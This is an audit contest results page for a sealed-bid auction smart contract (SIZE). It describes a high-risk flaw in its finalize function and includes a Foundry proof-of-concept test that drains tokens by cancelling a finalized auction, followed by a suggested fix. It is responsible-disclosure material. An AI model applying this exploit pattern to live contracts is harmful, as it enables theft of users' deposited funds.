SIZE contest - JTJabba's results

An on-chain sealed bid auction protocol.

General Information

Platform: Code4rena

Start Date: 04/11/2022

Pot Size: $42,500 USDC

Total HM: 9

Participants: 88

Period: 4 days

Judge: 0xean

Total Solo HM: 2

Id: 180

League: ETH

SIZE

Findings Distribution

Researcher Performance

Rank: 30/88

Findings: 1

Award: $153.10

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Trust

Also found by: 8olidity, HE1M, JTJabba, KIntern_NA, KingNFT, M4TZ1P, Picodes, PwnedNoMore, R2, V_B, bin2chen, cryptonue, cryptphi, fs0c, hansfriese

Awards

153.1035 USDC - $153.10

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-252

External Links

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33-L34 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L396-L399 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L424-L427

Vulnerability details

Impact

clearingQuote and clearingBase are parameters for finalize used to tell the contract the quote and base amounts in the last cleared bid. a.data.lowestQuote gets set in finalize and is used to track if it has been called by checking if it equals type(uint128).max, its initialization value. Bids with quote amounts equal to type(uint128).max are rejected, but clearingQuote and clearingBase are only checked to produce the same ratio as data.previousQuotePerBase.

If finalize is called with clearingQuote passed as type(uint128).max and clearingBase passed such that type(uint128).max<sup>2</sup> / clearingBase = data.previousQuotePerBase, a.data.lowestQuote will remain type(uint128).max, resulting in state checks assuming finalize hasn't been called allowing the finalized auction to be cancelled and quote assets that got transferred to the seller to be withdrawn a 2nd time by bidders using cancelBid. This could be used to drain all assets from the contract.

Proof of Concept

Add the following test to /src/test/SizeSealed.t.sol

function testExploit() public {
        MockERC20 targetToken = new MockERC20("USD Coin", "USDC", 6); // Token we want to drain
        MockERC20 attackToken = new MockERC20("Attack Coin", "ATAK", 18); // Token worth much less than USDC 1:1.
        MockSeller attacker1 = new MockSeller(address(auction), targetToken, attackToken);
        MockBuyer attacker2 = new MockBuyer(address(auction), targetToken, attackToken);
        uint128 auctionSize = 1e9;
        uint256 auctionStartingBalance = 1e12;
        targetToken.mint(address(auction), auctionStartingBalance); // Simulate auction contract starting with some locked up USDC
        uint256 _reserveQuotePerBase = type(uint128).max;
        uint128 _minimumBidQuote = 1;
        uint256 auctionID = attacker1.createAuction( // Create auction for 1e9 ATAK
            auctionSize, _reserveQuotePerBase, _minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );
        attacker2.setAuctionId(auctionID);
        attacker2.bidOnAuction(auctionSize, auctionSize); // bid 1e9 USDC for 1e9 ATAK (Bidder starts with some USDC)
        vm.warp(endTime + 1);
        uint256[] memory bidIndices = new uint[](1);
        bidIndices[0] = 0;
        attacker1.finalize(bidIndices, type(uint128).max, type(uint128).max); // Will send us 1e9 USDC
        attacker1.cancelAuction();
        attacker2.cancel(); // Will send 2nd attacker account back 1e9 USDC
        assertEq(targetToken.balanceOf(address(auction)), auctionStartingBalance - auctionSize); // Assert we stole 1e9 USDC
    }

To keep current functionality, a check could be added to finalize to revert if clearingQuote is type(uint128).max. This will ensure the contract always correctly tracks whether or not finalized has been called.

#0 - trust1995

2022-11-09T00:28:50Z

nice, dup of #252

#1 - c4-judge

2022-11-09T15:06:11Z

0xean marked the issue as duplicate

#2 - c4-judge

2022-12-06T00:22:47Z

0xean marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter